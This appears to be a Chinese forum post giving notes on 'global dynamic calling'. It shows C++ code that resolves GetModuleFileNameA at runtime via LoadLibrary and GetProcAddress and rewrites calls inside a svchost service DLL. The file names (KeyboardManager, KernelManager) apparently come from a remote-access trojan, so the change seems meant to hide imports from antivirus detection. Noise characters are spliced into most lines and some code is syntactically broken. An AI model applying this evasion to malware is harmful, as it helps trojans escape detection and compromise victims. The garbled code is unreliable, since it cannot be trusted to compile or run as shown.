[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
6 }% S! C8 `9 w0 d! _2 Asvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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9 t! M. \( y3 Y! e. o: b#if _MSC_VER>1000
+ Z% q5 N1 T4 o6 q#pragma once9 E% q& Y! G/ S6 ~
#endif //_MSC_VER>10006 z: c0 C' U! T
#include<windows.h>' a* E0 S( M" v5 P' P: z
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);3 N( t, F3 K7 x! a! _
class DTDY
4 N- ?0 B' j0 x+ H8 a{
( }* d0 v; G! Zpublic:
" H% i! f, R' y4 A8 e: x: t/ kDTDY();& M! |; a$ h( p/ ]( A
virtual ~DTDY();
. A7 G) ^# {1 M8 B6 h5 [4 a" upublic:
6 j( b2 p) u4 _2 }static pGetModuleFileNameA MyGetModuleFileName;2 K$ `& X) F) O# u: C) C
static BOOL FunInitiallization();
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#endif  Q% i# t$ f2 n
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6 W2 W) _# N+ G9 l% [DTDY.cpp:; B- {0 Z" e' T2 f- \1 T
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#include "DTDY.h"/ ~- |- @( n- [" l: ~
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 r7 \: Z+ L! n4 ^. u5 p. PDTDY:TDY()
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DTDY::~DTDY()/ i$ Y1 o1 F5 l6 j. M0 ?- ?9 d
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BOOL DTDY::FunInitiallization()# G! ^! t" s$ v1 w# S9 H
{
9 _4 [0 Z1 D5 W% B& {! x5 Q( mHMODULE hModule=LoadLibrary("kernel32.dll");
  q, h, N3 S0 W) r' M$ y3 mMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
; x  x" Z6 c2 \$ Gif(!MyGetModuleFileName=) return FALSE;: t$ X) O1 {+ B! x0 T5 B
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return TRUE;: R( ]3 Z2 Y) i* d
}
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svchost.cpp:
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, h  O  K, z' e- f$ s#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
  Y: c6 e: c5 Z! ?5 y, Iif(!DTDY::FunInitiallization()) return FALSE;
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' _- B  w  e" n2 Bbreak;, X: h1 V5 s! y+ C  o& Q" d
}
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. H0 n4 p5 C) [7 P. K4 F6 UGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. r% ?& h6 {2 S6 o7 @  x
改写为
( c( H" U7 p4 X) M* gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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) n! y  n" W) q+ ^6 i* C#include "../DTDY.h"; j5 u, V% R9 _6 P! T3 |4 c8 m
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' }  i8 M( e' x% Y( `改写为. D7 f5 Q8 U! U9 M7 {2 t
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) T8 y6 @5 n# V$ q3 j2 F
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